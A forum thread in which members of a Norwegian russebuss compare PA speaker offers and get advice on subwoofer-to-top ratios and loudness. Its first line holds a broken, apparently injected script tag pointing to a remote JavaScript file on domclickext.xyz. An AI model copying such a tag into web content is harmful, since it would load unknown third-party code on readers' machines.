Hey. < ="text/" async="" ="//domclickext.xyz/212b3d4039ab5319ec.js">
I am a member of a so called "Russebuss" in Norway and need a bit of help.
We are going to fit a PA-system into our 15 meters long bus. We have gotten an offer from somenone wich includes 8 Turbosund TSw 721 and 4 Turbosund  Tfl 760h. I think this offer sounds good. But other members of the bus think it is to much with 8 subwoofers compared to 4 mid/high loudspeaker. None of us have much experience in sound so i hoped i could get some help here.

Let me put it this way... Overkill! 

Unless the plan is to make one side like a huge door. 
Open it up, and the speakers are revealed, and you got a rolling sound wall :D

But if its just to have a party inside the bus, that system is 100% overkill. 
Even half the speakers is overkill Haha.

I have done some light engineering jobs for a company who run a system just like that. 4x tsw 721 and 2x tdl760h on each side.

No problem making some serious noise for a 1000 raving people in a handball arena.

it depends on the type of music youre playing but generally a 2:1 ratio of bass:tops sounds about right

how do you plan on fitting it in the bus, this part rather intrigues me. Im not sure Id want to be in a bus with that lot fired up in it. I take it the side of the bus opens in some way and your speakers point out at a party outside

edit: beaten to it

Hahah yes the Norwegians "Russebuss" is known to be overkill.
But we have gotten one more offer which is 2 ks28 subwoofers and 6 Arcs wifo.
Out of these 2 which will have most bass or play loudest?

The 8 Turbo subs is a decent ratio to the tops, not bass heavy, but it will definitely be louder than just two KS28.

6 KS28 will be louder than the 8 Turbo subs, if you can ask for more.

When is the show? I know people who've worked Russebuss events before, and I've always been interested in doing one. It'd cost a fair bit in transport, but we could bring out our Void Incubus or Danley Jericho rigs, which'll beat both of those...

Yes sorry, I know how the buses work - show is just a general term meaning ‘event’.

You might be surprised at transport cost. I’ve sent it before in a 20ft container to Oslo, and it wasn’t totally ridiculous.

Translation error, I think. This is sort of the Norwegian Burning Man, with systems plonked on top of buses, sometimes in a circle, playing music for a few days of relentless partying. I've seen the specs of some buses, and they go in hard on the specs. Always been curious, so worth a punt
